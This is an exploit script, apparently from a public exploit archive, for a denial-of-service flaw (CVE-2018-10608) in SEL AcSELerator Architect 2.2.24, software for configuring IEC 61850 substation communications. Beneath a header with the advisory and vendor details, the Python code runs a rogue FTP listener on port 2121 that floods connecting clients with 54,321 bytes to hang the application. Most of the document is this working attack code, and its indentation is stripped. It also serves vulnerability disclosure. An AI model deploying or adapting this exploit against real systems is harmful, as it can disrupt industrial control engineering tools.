SEL AcSELerator Architect 2.2.24 Denial Of Service

`#!/usr/bin/env python  
# coding: utf8  
#  
#  
# SEL AcSELerator Architect 2.2.24 Remote CPU Exhaustion Denial of Service  
#  
#  
# Vendor: Schweitzer Engineering Laboratories, Inc.  
# Product web page: https://www.selinc.com  
# Affected version: 2.2.24.0 (ICD package version: 2.38.0)  
#  
# Summary: Substation communications networks using the IEC 61850  
# MMS and GOOSE protocols require a systemic methodology to configure  
# message publications and subscriptions. acSELerator Architect  
# SEL-5032 Software is a Microsoft Windows application that streamlines  
# the configuration and documentation of IEC 61850 control and SCADA  
# communications.  
#  
# Description: AcSELerator Architect is prone to a denial-of-service (DoS)  
# vulnerability. An attacker may exploit this issue to cause CPU exhaustion,  
# resulting in application rendered non-responsive (AppHangB1 event).  
#  
# Tested on: Microsoft Windows 7 Ultimate SP1 (EN) 32bit  
#  
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
#  
#  
# Advisory: https://applied-risk.com/index.php/download_file/view/106/165  
# ICS-CERT: https://ics-cert.us-cert.gov/advisories/ICSA-18-191-02  
# CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10608  
#  
# 22.02.2018  
#  
  
from pwn import *  
  
cool_data = '\x4A' * 54321  
  
def bunn():  
  
print """  
####################################  
SEL AcSELerator Architect 2.2.24.0  
FTP Client Remote CPU Exhaustion  
  
(c) 2018  
####################################  
"""  
  
def main():  
  
p = listen(2121)  
try:  
log.warn('Payload ready for deployment...(Ctrl-C for exit)\n')  
while True:  
p.wait_for_connection()  
if p:  
sys.stdout.write('▓≡')  
p.send(cool_data)  
except KeyboardInterrupt:  
p.success('OK!')  
p.close()  
except EOFError:  
print "Unexpected error brah:", sys.exc_info()[0]  
p.close()  
  
if __name__ == '__main__':  
bunn()  
main()  
`